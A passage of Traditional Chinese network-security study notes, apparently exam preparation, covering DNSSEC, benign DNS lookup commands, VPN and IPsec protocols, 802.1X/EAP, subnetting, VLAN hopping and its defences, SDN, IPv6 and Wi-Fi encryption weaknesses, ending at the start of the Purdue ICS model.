4. 繼續往上追溯：.com 的 DNSKEY 是否合法？Root Zone 存有 .com 的 DS 記錄，再往上比對。
5. 信任的起點：Root Zone 的公鑰預先內建在所有作業系統與解析器裡（Trust Anchor），這是整條鏈唯一不需要外部驗證的環節。

信任鏈（Chain of Trust）

DNSSEC 記錄類型

記錄類型	全名	中文	說明
RRSIG	Resource Record Signature	資源記錄簽章	DNS 記錄的數位簽章
DNSKEY	DNS Key	DNS 金鑰	存放區域（Zone）的公鑰，用於驗證 RRSIG
DS	Delegation Signer	委派簽署者	父區域對子區域公鑰的雜湊，建立信任鏈
NSEC / NSEC3	Next Secure	下一筆安全記錄	證明某筆 DNS 記錄不存在，NSEC3 額外加鹽雜湊防止區域枚舉

Windows / Linux DNS 查詢指令範例

# Windows / Linux 通用：查詢基本 A 記錄與 MX 記錄
nslookup example.com
nslookup -type=MX example.com

# Windows：查詢指定 DNS Server 的 A 記錄
Resolve-DnsName -Name example.com -Server 1.1.1.1 -Type A -DnsOnly

# Windows：查看網域公開的 DNSKEY
Resolve-DnsName -Name example.com -Type DNSKEY -DnsOnly

# Windows：查看 DNSSEC 簽章記錄
Resolve-DnsName -Name example.com -Type RRSIG -DnsOnly

# Linux：基本查詢與精簡輸出
dig example.com
dig example.com MX
dig example.com +short

# Linux：向指定 DNS Server 查 A 記錄
dig @1.1.1.1 example.com A

# Linux：查看網域公開的 DNSKEY
dig example.com DNSKEY

# Linux：查看父區域的 DS 記錄
dig com DS

• Resolve-DnsName 可直接指定 -Server、-Type、-DnsOnly，適合 Windows 系統上做 DNS 與 DNSSEC 基本排查。
• dig @server name type 是最常見的基本格式，例如 dig @8.8.8.8 example.com MX 代表「向指定 DNS 伺服器查詢某種記錄」。
• nslookup 適合基本查詢；要觀察 DNSSEC 記錄或更完整的回應欄位時，Resolve-DnsName 與 dig 會更清楚。

DNSSEC vs DNS 加密協定對比：

協定	目的	說明
DNSSEC	完整性 + 真實性	驗證 DNS 回應未被竄改，查詢內容仍為明文
DoH（DNS over HTTPS）	加密查詢	將 DNS 查詢包在 HTTPS 中，防止查詢內容被竊聽，Port 443
DoT（DNS over TLS）	加密查詢	以 TLS 加密 DNS 查詢，Port 853

DNSSEC 與 DoH / DoT 的差異

DNSSEC 不加密查詢內容：查詢與回應仍為明文，僅確保回應未被竄改。若需防止竊聽，需搭配 DoH 或 DoT。

VPN（Virtual Private Network，虛擬私人網路）類型與協定對照表

VPN 連線類型與技術原理

類型	說明	典型協定	適用情境
Site-to-Site VPN	兩個固定網路之間透過加密隧道互連（如總公司 ↔ 分公司）	IPsec（Tunnel Mode）	分支機構互連、跨區域資料中心
Remote Access VPN	個別使用者從外部連回企業內網	SSL/TLS VPN、IPsec	遠端工作、出差員工存取內部資源

Site-to-Site VPN vs Remote Access VPN 技術原理差異

技術面向	Site-to-Site VPN	Remote Access VPN
連線架構	閘道對閘道（Gateway-to-Gateway）：由兩端的 VPN 閘道設備負責建立加密隧道，內部主機無感知	主機對閘道（Host-to-Gateway）：使用者端設備直接與企業 VPN 伺服器建立連線
隧道建立	持續性隧道：一旦配置完成，隧道永久存在（Always-On），無論是否有資料傳輸都維持連線狀態	按需建立：使用者連線時才建立隧道，中斷後隧道即消失，支援多個使用者同時連線但各自獨立
網路拓撲	橋接模式：將兩個不同地點的區域網路「橋接」成一個大的邏輯網路，兩端設備可直接用內網 IP 互通	路由模式：使用者取得虛擬 IP（通常由 VPN 伺服器分派的 IP Pool），透過路由表決定哪些流量走 VPN
IP 位址指派	靜態路由：兩端網段固定且不重疊（如 A 端用 192.168.1.0/24，B 端用 192.168.2.0/24），路由規則預先設定	動態 IP 分派：從 DHCP Pool 動態分配虛擬 IP 給連線使用者，支援 IP 位址重複使用
驗證機制	設備驗證：基於預共享金鑰（PSK，Pre-Shared Key）、數位憑證或雙方閘道的身分驗證，驗證的是設備而非個別使用者	使用者驗證：基於使用者名稱/密碼、數位憑證、或多因素驗證（MFA），每個連線使用者都需要獨立驗證
擴展性考量	低擴展性：多站點時依拓撲選擇而定，詳見下表	高擴展性：VPN 伺服器可同時服務數千個並行連線，只需增加伺服器運算能力
故障影響範圍	單點故障影響大：一端閘道故障將完全中斷兩地網路互通，影響該地點所有使用者	單點故障影響小：個別使用者連線問題不影響其他人，VPN 伺服器故障可透過多台備援

Site-to-Site VPN 多站點拓撲

	Hub-and-Spoke（星型）	Full Mesh（全網狀）
架構	所有分支站點只與中央 Hub 建立隧道	每個站點與所有其他站點直接建立隧道
連線數	N-1 條	N×(N-1)/2 條
流量路徑	分支間流量必須繞道經過 Hub	各站點直連，不繞道
管理複雜度	低，集中在 Hub 設定	高，站點數增加時連線數急速成長
延遲	較高（多一跳）	較低（直連）
單點故障	Hub 故障則所有分支間通訊中斷；實務上 Hub 需做 HA（High Availability）備援	任一站點故障只影響自己，其他站點仍可直連
適用情境	分支多、Hub 頻寬充足	站點少、延遲敏感或流量大

VPN 協定比較

協定	運作層級	加密方式	特點
IPsec	L3 網路層	ESP（AES + HMAC）	業界標準，適合 Site-to-Site；支援 Transport / Tunnel 雙模式，詳見 IPsec 運作模式對照表。
SSL/TLS VPN	L4-L7	TLS	透過瀏覽器或輕量 Client 即可使用，無需安裝專用軟體；適合 Remote Access。
WireGuard	L3 網路層	ChaCha20 + Poly1305	現代輕量級協定，程式碼量極少（約 4000 行），效能優於 IPsec / OpenVPN。

Split Tunneling（分割通道）vs Full Tunneling（完整通道）

模式	行為	優點	缺點
Full Tunneling	所有流量都經 VPN 隧道	安全性高，所有流量受企業資安政策保護	頻寬消耗大，影響效能
Split Tunneling	僅企業資源流量走 VPN，其餘走本地網路	節省頻寬，使用者體驗較好	安全性較低，本地流量不受保護

VPN 與零信任

• 傳統 VPN 的 Full Tunneling 確保所有流量受檢，但在零信任架構下，每個資源本身都有獨立的存取控制（PEP），VPN 的角色被弱化。
• 零信任不一定取消 VPN，但 VPN 不再是唯一的信任邊界。

VPN 協定細節補充

IPsec IKE 兩階段協商

階段	名稱	目的	產出
Phase 1	IKE SA 建立	雙方協商加密演算法、驗證身分，建立安全的管理通道	ISAKMP SA（Internet Security Association and Key Management Protocol SA）
Phase 2	IPsec SA 建立	在 Phase 1 的安全通道內，協商實際資料傳輸的加密參數	IPsec SA（一對單向 SA，各自有 SPI 識別碼）

• Phase 1 有兩種模式：Main Mode（6 步交換，較安全）與 Aggressive Mode（3 步交換，較快但身分保護較弱）。
• Phase 2 使用 Quick Mode，可協商多組 IPsec SA。
• IKEv2 簡化了協商流程，將 Phase 1 + Phase 2 合併為 4 個訊息交換（IKE_SA_INIT + IKE_AUTH）。

WireGuard 技術特點

• 基於 Noise Protocol Framework，使用固定的密碼學組合（ChaCha20、Poly1305、Curve25519、BLAKE2s），不需協商加密演算法。
• 採用固定公鑰配對：每個 Peer 預先設定對方的公鑰，簡化身分驗證流程。
• 僅使用 UDP 傳輸，無 TCP 模式。
• 核心程式碼約 4,000 行（對比 OpenVPN 約 100,000 行），易於安全審計。
• 連線建立時間通常在 100ms 以內（IPsec / OpenVPN 通常需數秒）。

SSL/TLS VPN 兩種模式

模式	說明	適用情境
Clientless（無客戶端）	透過瀏覽器存取 Web 應用，不需安裝軟體	臨時存取、合作夥伴、BYOD 裝置
Full-tunnel Client	安裝專用客戶端，所有流量經由 TLS 隧道傳輸	需完整網路存取的遠端員工

• Clientless 模式僅支援 Web 應用與部分協定（如 RDP over HTML5），功能受限但部署最簡單。
• Full-tunnel Client 提供與 IPsec VPN 相當的功能，但透過 TLS 穿越防火牆的能力較強（使用 TCP 443 Port）。

IPsec 運作模式對照表

面向	傳輸模式（Transport Mode）	隧道模式（Tunnel Mode）
加密範圍	只加密 Payload（IP 標頭不加密）	加密整個原始 IP 封包（含標頭），再包上新的 IP 標頭
IP 標頭可見性	原始 IP 標頭保留，可見真實來源與目的 IP	原始 IP 標頭被加密隱藏，外層標頭顯示 VPN 閘道 IP
典型用途	端對端（Host-to-Host）通訊	閘道對閘道（Site-to-Site VPN）或遠端存取 VPN
安全性	較低（攻擊者可得知通訊雙方 IP）	較高（原始 IP 隱藏，只能看到 VPN 閘道位址）
封包結構	[原始 IP 標頭][IPsec 標頭][加密的 Payload]	[新 IP 標頭][IPsec 標頭][加密的（原始 IP 標頭 + Payload）]

IPsec AH 與 ESP 的差異

• AH（Authentication Header）：只提供完整性驗證與來源認證，不提供加密。
• ESP（Encapsulating Security Payload）：提供加密 + 完整性驗證 + 來源認證。
• 實務上大多數 VPN 使用 ESP + 隧道模式。
• 傳輸模式常見於同一區域網路內兩台主機間的安全通訊。

QUIC 協定與 HTTP/3

QUIC 是 Google 開發、由 IETF 標準化（RFC 9000）的傳輸層協定，HTTP/3 以 QUIC 為底層，取代 HTTP/2 的 TCP + TLS 架構。

比較面向	HTTP/2（TCP + TLS）	HTTP/3（QUIC）
傳輸層	TCP	UDP（QUIC 在 UDP 上自行實作可靠傳輸）
加密	TLS（分層，握手獨立）	內建加密（QUIC 握手與 TLS 1.3 合併）
連線建立	3-way TCP + TLS 握手（1–2 RTT）	0-RTT 或 1-RTT（已知伺服器可 0-RTT 恢復連線）
隊頭阻塞（HOL Blocking）	TCP 層存在（一個封包遺失卡住所有串流）	無（各串流獨立，單一封包遺失不影響其他串流）
連線遷移	IP 變更需重建連線	使用 Connection ID，換 IP / 換網路不斷線（如手機從 Wi-Fi 切到行動網路）
防火牆/NAT 穿越	TCP 443 廣泛允許	UDP 443，部分環境可能被封鎖

安全性考量：

• QUIC 強制使用 TLS 1.3，無法降級至較弱的加密版本，安全性優於可協商的 TLS 1.2。
• 因使用 UDP，傳統基於 TCP 連線狀態的防火牆可能無法深度檢測 QUIC 流量，為企業帶來可見性挑戰。
• 0-RTT 資料可能遭受重放攻擊（Replay Attack），伺服器端需對 0-RTT 請求實施冪等性（Idempotent）保護。

傳輸效能關鍵名詞

• RTT（Round-Trip Time，來回時間）：一個封包從送出到收到回應的時間。RTT 越高代表延遲越大。建立連線需要幾次來回，就需要幾個 RTT 的等待時間。
• TCP 三次握手（3-way Handshake）：TCP 在傳資料前必須先完成三個步驟（SYN → SYN-ACK → ACK）才算連線建立，這個過程消耗 1 RTT。HTTPS 還要在上面再加 TLS 握手，合計 2 RTT 才能開始傳資料。
• 隊頭阻塞（HOL Blocking，Head-of-Line Blocking）：TCP 要求封包按順序到達，一個封包遺失就讓後面所有封包排隊等待重傳，即使其他資料流完全正常也會被卡住。
• 抖動（Jitter，傳輸延遲變異）：封包到達時間的不一致性。RTT 是「平均往返延遲」，Jitter 是「延遲的波動幅度」。VoIP 與視訊會議等即時通訊對 Jitter 極為敏感，Jitter 過高會導致語音斷續或畫面卡頓。攻擊者可透過網路壅塞（如 DDoS）刻意製造大量 Jitter，降低服務品質甚至觸發逾時斷線。

NAC 與 802.1X 認證

NAC（Network Access Control，網路存取控制） 是在設備連入網路前，先做兩類檢查的機制：

• 身分驗證：確認設備或使用者是否有權進入網路，通常透過 802.1X 實作。
• 健康狀態檢查（Posture Assessment）：確認端點安全設定是否符合政策，包含作業系統修補程式、防毒軟體啟用狀態、是否安裝禁止的軟體（如 P2P 下載工具）、個人防火牆是否啟用。

未通過任一項檢查的設備會被隔離至受限 VLAN，僅允許存取修補伺服器自行修補，或直接拒絕連線。

NAC 架構：

802.1X 負責上述「身分驗證」這個環節。它是 IEEE 標準的 Port-based Network Access Control（基於連接埠的網路存取控制），使用 EAP（Extensible Authentication Protocol）作為身分驗證框架。

802.1X 三角色：

角色	英文	說明	常見實作
請求端	Supplicant	要求連入網路的設備或軟體	Windows 內建 802.1X Client、wpa_supplicant（Linux）
認證端	Authenticator	控制 Port 開關的網路設備	企業級交換器、無線 AP
認證伺服器	Authentication Server	驗證身分並決定授權	RADIUS 伺服器（如 FreeRADIUS、Microsoft NPS）

802.1X 認證流程：

EAP 常見方法比較：

EAP 本身只是框架，實際認證強度取決於所選用的 EAP 方法。核心差異在於「哪一側需要憑證」及「是否建立 TLS 通道」。

EAP 方法	伺服器憑證	用戶端憑證	認證類型	特性
EAP-MD5	✗	✗	單向（伺服器無法被驗證）	最弱；無法防中間人攻擊，已不建議使用。
PEAP	✓	✗	單向（驗證伺服器）	先建立 TLS 通道，用戶端在通道內以密碼（MSCHAPv2）認證；最常見於 Windows 企業環境。
EAP-TTLS	✓	✗	單向（驗證伺服器）	與 PEAP 相似，但支援更多內層協定（PAP、CHAP、MSCHAPv2 等）；跨平台相容性較佳。
EAP-TLS	✓	✓	雙向（相互認證）	雙方都需要 PKI 憑證；安全性最高，但部署成本最大（需管理用戶端憑證）。
EAP-FAST	選用	✗	單向（預設）	Cisco 提出；以 PAC（Protected Access Credential）取代憑證，避免憑證管理負擔。

私有 IP 與 CIDR 子網路劃分

私有 IP 範圍（RFC 1918）

私有 IP 僅在組織內部路由，對外通訊需透過 NAT 轉換為公有 IP。公有 IP 由 IANA/ISP 分配，全球唯一；私有 IP 由組織自行管理，可在不同組織重複使用。

私有範圍	CIDR	可用主機數	常見場景
10.0.0.0 – 10.255.255.255	10.0.0.0/8	16,777,214	大型企業內網
172.16.0.0 – 172.31.255.255	172.16.0.0/12	1,048,574	中型企業
192.168.0.0 – 192.168.255.255	192.168.0.0/16	65,534	家用/小型辦公室

CIDR 子網路劃分

CIDR 前綴（/n）中，前 n 位元為網路部分，剩餘 (32 - n) 位元為主機部分。

可用主機數 = 2^(32-n) - 2（扣除網路位址與廣播位址）

CIDR	主機位元	可用主機數	適用場景
/22	10	1,022	大型部門（~1,000 台）
/24	8	254	一般辦公網段
/26	6	62	小型部門
/28	4	14	小型隔離網段
/30	2	2	Point-to-Point 連線

子網路劃分的資安意義

縮小子網路即縮小爆炸半徑（Blast Radius）：一個網段被攻陷，影響範圍僅限該子網路內的主機。

實務範例：財務部 10 人 → /28（14 個可用 IP），即使同棟辦公室的其他部門也無法直接連入。

網路分段（Network Segmentation）

網路分段將大型網路切割為多個較小的安全區域，限制橫向移動（Lateral Movement），即使攻擊者入侵一個區段，也無法直接存取其他區段的資源。

實作方式	英文	層級	說明
VLAN	Virtual LAN	L2	在同一實體交換器上建立邏輯隔離的廣播域（Broadcast Domain）。不同 VLAN 間的通訊必須經過 L3 路由器或防火牆。
ACL	Access Control List	L3-L4	在路由器或 L3 交換器上設定規則，依 IP 位址、Port 號、協定篩選允許或拒絕的流量。
DMZ（非軍事區）	Demilitarized Zone	L3-L7	介於外部網路（Internet）與內部網路之間的隔離緩衝區，通常放置對外服務（Web 伺服器、Mail 伺服器、DNS）。外部可存取 DMZ，但無法直接進入內網；內網可存取 DMZ，但 DMZ 主機被入侵後也無法直接橫向移動至內網。
防火牆區域	Firewall Zone	L3-L7	將網路劃分為不同信任等級的區域（如 Trust / Untrust / DMZ），跨區流量經防火牆政策檢查。
微分段	Microsegmentation	L2-L7	在虛擬化或雲端環境中，以單一工作負載（VM / Container）為單位設定安全政策，實現零信任架構的核心原則。

VLAN 安全

VLAN（Virtual Local Area Network）是在同一台實體交換器上切出多個邏輯獨立的網段，讓不同部門（如財務部 VLAN 10、工程部 VLAN 20）的流量互不干擾，即使共用同一條實體線路。實作標準為 802.1Q，它在 Ethernet 訊框中加入 4 byte 的 VLAN Tag，讓交換器判斷每個封包屬於哪個網段。

Port 類型

終端設備（電腦）送出的 Ethernet 訊框本身不帶 VLAN 標籤，但交換器在轉發時必須知道這個訊框屬於哪個 VLAN。Port 類型決定了交換器在每個連接點上如何處理這個標籤。

類型	連接對象	說明
Access Port	終端設備（電腦、印表機、IP Phone）	屬於單一 VLAN。終端設備傳送的是無標籤（Untagged）Ethernet 訊框，交換器在收到時（Ingress）加上該 Port 所屬 VLAN 的 802.1Q Tag；轉出時（Egress）剝除 Tag。終端設備本身不感知 VLAN 的存在。
Trunk Port	交換器之間、交換器與路由器	同時承載多個 VLAN 的流量。訊框以帶標籤（Tagged）的 802.1Q 格式傳輸，Tag 在整個 Trunk 鏈路中保留不變，接收端設備必須能解讀 VLAN Tag 並據此轉發至對應 VLAN。
Native VLAN	—	Trunk Port 上未加標籤的訊框所歸屬的 VLAN，預設為 VLAN 1，主要用於相容不支援 802.1Q 的舊型設備。攻擊者可利用此機制發動 Double Tagging 攻擊（詳見下節），應將 Native VLAN 改為未使用的非 VLAN 1 編號。

情境對照

Access Port — 部門辦公室的門

員工（終端設備）在辦公室內部不需要貼任何識別貼紙，因為辦公室裡全都是同部門的人。當員工走出部門大門時，門口的警衛（Access Port）會在背後貼上部門識別貼紙（VLAN Tag）；進門時再撕掉。終端設備完全不需要知道貼紙的存在，加貼與撕除由交換器全權處理。

Trunk Port — 大樓的共用電梯

財務部和工程部的人共用同一部電梯（Trunk Port）。為了讓另一層的警衛能辨識每個人屬於哪個部門，所有人進電梯前都必須貼上部門貼紙（Tagged），電梯全程保留貼紙不撕除。抵達後，接收端的警衛（另一台交換器）看到貼紙，才知道要把人引導到哪個部門。

Native VLAN — 沒有貼紙的人

若有人走進電梯但沒有任何貼紙（Untagged 訊框到達 Trunk Port），大樓有一條預設規定：一律把他歸入「預設身分」（Native VLAN，預設為 VLAN 1）。攻擊者可利用這條規定，在訊框上加兩層標籤，外層與 Native VLAN 相同，交換器剝掉外層後，內層標籤將流量送進未授權的 VLAN（即 Double Tagging 攻擊）。

訊框傳輸流程

VLAN Hopping 攻擊

攻擊者利用 VLAN 設定缺陷，跨越 VLAN 邊界存取未授權網段。

Double Tagging（雙重標籤）

漏洞原理： 利用交換器處理 Native VLAN 時「自動剝除標籤」的預設行為，將惡意封包偷渡至未授權的網段。這是一種單向（One-way）的盲打攻擊。

觸發條件：

1. 環境拓撲： 攻擊路徑上必須有 2 台以上的交換器，且中間透過 Trunk Port 連接。
2. 攻擊者位置： 攻擊者所在的 Port，其所屬的 VLAN 必須與 Trunk 的 Native VLAN（通常預設為 VLAN 1） 一致。

惡意 Payload 結構：

攻擊者自行偽造一個帶有兩層 802.1Q 標籤的特殊訊框：[外層 Tag: Native VLAN (如 VLAN 1)] + [內層 Tag: 目標網段 (如 VLAN 10)] + [惡意資料]。

攻擊執行生命週期 (Execution Pipeline)：

1. Switch 1 (漏洞觸發點)： 收到攻擊者的封包，準備將其送入 Trunk 通道。因發現「外層 Tag = Native VLAN」，觸發系統預設規則：剝除該外層標籤。
2. Trunk (偷渡通道)： 外層標籤被撕毀，隱藏的 [內層 Tag: VLAN 10] 裸露出來，並以此狀態在 Trunk 中傳輸。
3. Switch 2 (受害轉發節點)： 從 Trunk 接收到該封包。Switch 2 眼裡只看到 [內層 Tag: VLAN 10]，便依照正常邏輯，毫無防備地將其轉發給 VLAN 10 的目標主機。

此攻擊天然是單向的：目標主機的回應訊框走正常 VLAN 10 路徑，無法回到攻擊者手上，因此多用於觸發目標行為（如 ARP 投毒、服務探測），而非雙向資料竊取。

Switch Spoofing（偽裝 Trunk）

多數交換器的 Port 預設啟用 DTP（Dynamic Trunking Protocol），會自動與對方協商是否建立 Trunk 連線。攻擊者主機發送 DTP 協商訊息，誘使交換器將該 Port 升格為 Trunk Port。一旦協商成功，攻擊者主機開始收到所有 VLAN 的帶標籤訊框，VLAN 隔離完全失效。

防禦措施	防禦對象	說明
修改 Native VLAN	Double Tagging	將 Native VLAN 改為未使用的非 VLAN 1 編號，使攻擊者無法湊出匹配的外層 Tag
停用 DTP	Switch Spoofing	明確將 Port 設為 Access 模式並停用自動協商，禁止未授權設備協商 Trunk
停用未使用 Port	兩者	閒置 Port 設為 shutdown 並指派至隔離 VLAN，減少攻擊面

SDN 安全（Software Defined Networking）

傳統網路中，每台交換器和路由器各自包含控制平面（Control Plane，決策邏輯） 與資料平面（Data Plane，封包轉發）。若需更新安全規則，必須逐台設備設定，任一設備遺漏即形成缺口。SDN 將控制平面從設備中抽離，集中至 SDN Controller，設備只負責執行轉發指令。

三層架構

組成	說明
應用層（Application Layer）	網路應用程式（如負載平衡、防火牆政策），透過北向介面（Northbound API，通常為 REST API）將策略傳遞給控制器。
控制層（Control Layer）	SDN Controller（如 OpenDaylight、ONOS），接收應用層指令後計算全域轉發規則，再下達至設備。
基礎設施層（Infrastructure Layer）	實體交換器／路由器，透過南向介面（Southbound API，如 OpenFlow）接收控制器指令，不自行做路由決策。

情境對照

傳統網路就像大樓裡每一層都有自己的警衛室，每位警衛各自備有一本進出規則手冊，自行判斷人員是否放行。更新規則時要逐間警衛室跑，漏掉一間就出現漏洞。

SDN 的做法是設立一間中控室（SDN Controller），廢除各警衛室的規則手冊。警衛不再自行判斷，遇到任何人都向中控室回報，由中控室統一決定放行或攔截，再把指令傳回給警衛執行。

• 北向介面：管理人員（應用層）透過內部通訊系統（REST API）對中控室下達政策，例如「封鎖這個 IP」。
• 南向介面：中控室透過專屬通道（OpenFlow）把具體指令下達給各樓層的警衛。

安全優勢：

• 集中式安全政策：統一在控制器上定義安全規則，一次部署至所有設備，不會因為逐台設定而產生不一致。
• 動態回應：偵測到異常流量時，控制器可即時修改全網轉發規則，隔離受感染主機，不需逐台操作。
• 網路可視性：控制器掌握全域流量狀態，利於異常偵測與鑑識分析。

安全風險：

• 控制器為單點故障：控制器一旦被入侵，等同整個網路的轉發規則都被掌控。需部署 HA（High Availability）叢集並嚴格限制控制器的存取權限。
• 北向介面攻擊：攻擊者若取得應用層存取權，可透過 REST API 對控制器下達惡意指令（如開放所有流量、繞過防火牆規則）。需實施 API 認證與授權。
• 南向介面攻擊：攻擊者若能插入偽造的 OpenFlow 訊息，可直接操控交換器的轉發規則。控制器與設備之間的通訊需強制使用 TLS 加密。

IPv6 安全考量

IPv4 使用 32 位元位址（約 43 億個），早已耗盡。IPv6 將位址擴展至 128 位元（約 3.4×10³⁸ 個），是長期替代方案。由於 IPv4 基礎設施龐大，現階段大多數網路處於雙堆疊（Dual Stack）過渡期，同時運行 IPv4 與 IPv6。這個並行狀態帶來了新的安全考量：安全政策若只針對 IPv4 設計，IPv6 流量就成為盲點。

IPv6 規格中 IPsec 為必要支援（但非強制啟用），提供原生的端到端加密能力，是 IPv4 所沒有的內建安全優勢。

安全風險	說明
雙堆疊（Dual Stack）風險	同時啟用 IPv4 與 IPv6 時，若 IPv6 缺乏對應的安全政策（防火牆規則、IDS 入侵偵測系統簽章），攻擊者可繞過僅針對 IPv4 的防護。
RA 偽造	IPv6 使用 SLAAC 自動配發位址，過程依賴路由器發送的 RA 訊息。攻擊者可發送偽造 RA，將自己設為預設閘道，效果類似 IPv4 的 ARP Spoofing。
IPv6 隧道濫用	Teredo、6to4 等過渡機制將 IPv6 封包封裝於 IPv4 中傳輸，可能繞過不支援 IPv6 的防火牆與 IDS。
位址偵察困難	IPv6 的 /64 子網路包含 2⁶⁴ 個位址，傳統逐 IP 掃描不可行。攻擊者改以 DNS 查詢、多播位址（Multicast）或 EUI-64（從裝置 MAC 位址推導 IPv6 位址的規則）等方式進行偵察。

防禦措施	說明
封鎖未使用的 IPv6 流量	若組織尚未部署 IPv6，在防火牆明確封鎖 IPv6 流量，包括 Teredo、6to4 隧道使用的 Port，避免成為安全盲點。
雙堆疊政策同步	若已部署雙堆疊，防火牆規則、IDS/IPS 簽章、日誌記錄必須同時涵蓋 IPv4 與 IPv6，不得只保護其中一端。
啟用 RA Guard	在交換器上啟用 RA Guard，只允許合法路由器發送 RA 訊息，阻擋偽造的 Router Advertisement。

💡 專有名詞速查

• SLAAC：Stateless Address Autoconfiguration（無狀態位址自動設定）— IPv6 裝置不需要 DHCP 伺服器，透過 RA 訊息自動產生自己的 IP 位址。
• RA：Router Advertisement（路由器公告）— 路由器定期廣播的訊息，告知網段內裝置閘道位址與網路前綴。
• EUI-64：Extended Unique Identifier（延伸唯一識別碼，64 位元）— 將裝置的 48 位元 MAC 位址轉換為 64 位元介面識別碼，用於自動產生 IPv6 位址的主機部分。
• Teredo / 6to4：IPv6 over IPv4 隧道過渡協定（Tunneling Transition Mechanism）— 將 IPv6 封包封裝於 IPv4 中傳輸，讓純 IPv4 環境也能連通 IPv6 網路。
• RA Guard：路由器公告防護（Router Advertisement Guard）— 交換器功能，只允許指定的合法路由器 Port 發送 RA 訊息，防止偽造。
• Dual Stack：雙堆疊 — 同一台設備同時啟用 IPv4 與 IPv6，是目前最常見的過渡部署方式。

無線網路加密標準對照表

WPA（Wi-Fi Protected Access，Wi-Fi 保護存取）系列是 Wi-Fi 聯盟針對無線網路安全的認證標準，從 WEP（Wired Equivalent Privacy，有線等效保密）的結構性漏洞出發，歷經 WPA → WPA2 → WPA3 逐代強化加密與認證機制。

標準	加密演算法	認證方式	金鑰長度	已知弱點	現行建議
WEP	RC4	開放/共享金鑰	40/104 bit	IV 重複攻擊、金鑰可在數分鐘內破解	禁用
WPA	TKIP（RC4 改良）	PSK / 802.1X	128 bit	TKIP 存在 Michael 攻擊，設計為 WEP 的過渡方案	不建議使用
WPA2	AES-CCMP	PSK / 802.1X	128 bit	KRACK 攻擊（金鑰重裝攻擊），可強制重用 Nonce	仍可用，但應升級至 WPA3
WPA3	AES-GCMP / AES-CCMP	SAE / 802.1X	128/192 bit	Dragonblood 攻擊（已修補）	推薦使用

已知弱點說明

• IV 重複攻擊（WEP）：WEP 使用 24-bit 初始向量（IV）搭配 RC4 進行串流加密。IV 空間僅 2²⁴ ≈ 1600 萬種，在繁忙網路中很快耗盡並開始重複。兩個封包使用相同 IV 時，密文 XOR 可消去金鑰串流，進而還原明文或逆推金鑰。
• Michael 攻擊（WPA/TKIP）：TKIP（Temporal Key Integrity Protocol）是 WPA 的加密協定，設計目的是在不更換舊硬體的前提下補強 WEP 漏洞。底層仍使用 RC4，但加入了逐封包金鑰（避免 IV 重複）與訊息完整性碼 Michael（防偽造）。Michael 的設計強度不足，攻擊者可在短時間內偽造封包並通過驗證；TKIP 本就是緊急過渡方案，整體設計存在先天限制，最終被 WPA2 的 AES-CCMP 取代。
• KRACK（WPA2）：金鑰重裝攻擊（Key Reinstallation Attack）。攻擊者對四向握手的訊息 3 進行重播，迫使用戶端重新安裝金鑰並將 Nonce 重置為 0，造成 Nonce 重複使用。Nonce 重複後 AES-CCMP 的加密保護失效，攻擊者可解密封包或偽造資料。詳見下方四向握手說明。
• Dragonblood（WPA3/SAE）：針對 SAE 早期實作的旁路攻擊，透過測量 Dragonfly 計算過程中的時序差異或快取存取行為推測密碼。Wi-Fi 聯盟已在 WPA3 Revision 1 中修補，現行正確實作不受此影響。

WPA2 四向握手（4-Way Handshake）

四向握手在連線時確認雙方都持有相同的 PMK（成對主金鑰，Pairwise Master Key，由密碼短語推導），並協商出用於加密單播資料的 PTK（成對暫時金鑰，Pairwise Transient Key）與用於廣播的 GTK（群組暫時金鑰，Group Temporal Key）。PMK 本身不在網路上傳輸，雙方各自從密碼短語計算。

KRACK 攻擊流程

攻擊者偽裝成中間人，攔截訊息 4（ACK）使 AP 誤以為用戶端未收到訊息 3，AP 依協定重傳訊息 3。用戶端每收到一次訊息 3 就會重新安裝金鑰並將 Nonce 重置為 0。Nonce 重複後，相同金鑰加密不同封包，攻擊者可還原金鑰串流，進而解密或偽造封包。

WPA3 與 SAE

WPA2 vs WPA3 核心差異：

面向	WPA2	WPA3
金鑰交換	4-Way Handshake（PSK）	SAE（Dragonfly 協定）
離線字典攻擊	可行（擷取握手封包後離線爆破）	不可行（每次握手需互動，無法離線爆破）
前向保密（PFS）	不支援	支援（SAE 每次產生獨立的會話金鑰）
開放網路	無加密	OWE（機會性無線加密）
企業級安全	WPA2-Enterprise	WPA3-Enterprise（192-bit CNSA 套件）

SAE（對等同步認證，Simultaneous Authentication of Equals）

SAE 基於 Dragonfly 金鑰交換協定（RFC 7664）。Dragonfly 的核心思路是將密碼映射到橢圓曲線上的一個點（PWE，Password Element），以此為基礎進行金鑰交換；密碼本身從不在網路上傳輸，也不留下任何可供離線比對的材料。攻擊者每次猜測都必須真的與對方發起一次完整握手互動，無法像 WPA2 一樣擷取一次封包後離線無限次地比對密碼。

SAE 握手分為兩個階段：

• Commit 階段：雙方各自將密碼與 MAC 位址映射至橢圓曲線上的密碼元素（PWE，Password Element），各自產生一組隨機私值，計算純量（scalar）與元素（element）後互相交換。攻擊者即使擷取這些公開數值，也無法在不與對方互動的情況下驗證密碼猜測。
• Confirm 階段：雙方以協商出的共享密鑰計算確認碼並互相驗證，確保雙方都知道正確密碼，完成雙向身份驗證。

OWE（機會性無線加密，Opportunistic Wireless Encryption）

OWE 用於無密碼的開放網路（如咖啡廳 Wi-Fi）。傳統開放網路完全不加密，同一網路上的任何人都能旁聽流量。OWE 讓每個用戶端與 AP 在連線時執行一次 ECDH 金鑰交換，為該連線建立獨立的加密通道，防止被動竊聽。

OWE 不驗證 AP 身份（開放網路無密碼可用於綁定 AP），因此無法防止惡意雙胞胎攻擊（Evil Twin Attack），僅提供防竊聽保護，不提供身份驗證。

WPA3 版本說明：

版本	適用場景	核心特性
WPA3-Personal	家用 / 小型辦公室	SAE 取代 PSK，提供 PFS
WPA3-Enterprise	政府 / 高安全需求環境	支援 192-bit 安全套件（CNSA，商業國家安全演算法）
OWE	公共 Wi-Fi（開放網路）	對每個使用者建立獨立加密通道，不需密碼

Purdue 模型（OT / ICS 分層安全架構）

Purdue 模型（Purdue Enterprise Reference Architecture，PERA）是工業控制系統（ICS / OT）的安全分層參考架構，將 OT 環境按功能分為六個層級（Level 0–5），明確規範各層的設備、功能與安全隔離要求。

層級	名稱	設備 / 功能	說明
Level 0	現場設備層（Field Devices）	感測器（Sensor）、致動器（Actuator）、馬達	直接控制實體流程的最底層硬體
Level 1	控制層（Control）	PLC（Programmable Logic Controller）、RTU（Remote Terminal Unit）、DCS	接收感測器訊號，依邏輯控制致動器
Level 2	監控層（Supervisory）	SCADA（Supervisory Control and Data Acquisition）、HMI（Human Machine Interface）	操作員介面，監視與操控 Level 1 的設備；資安事件常從此層擴散
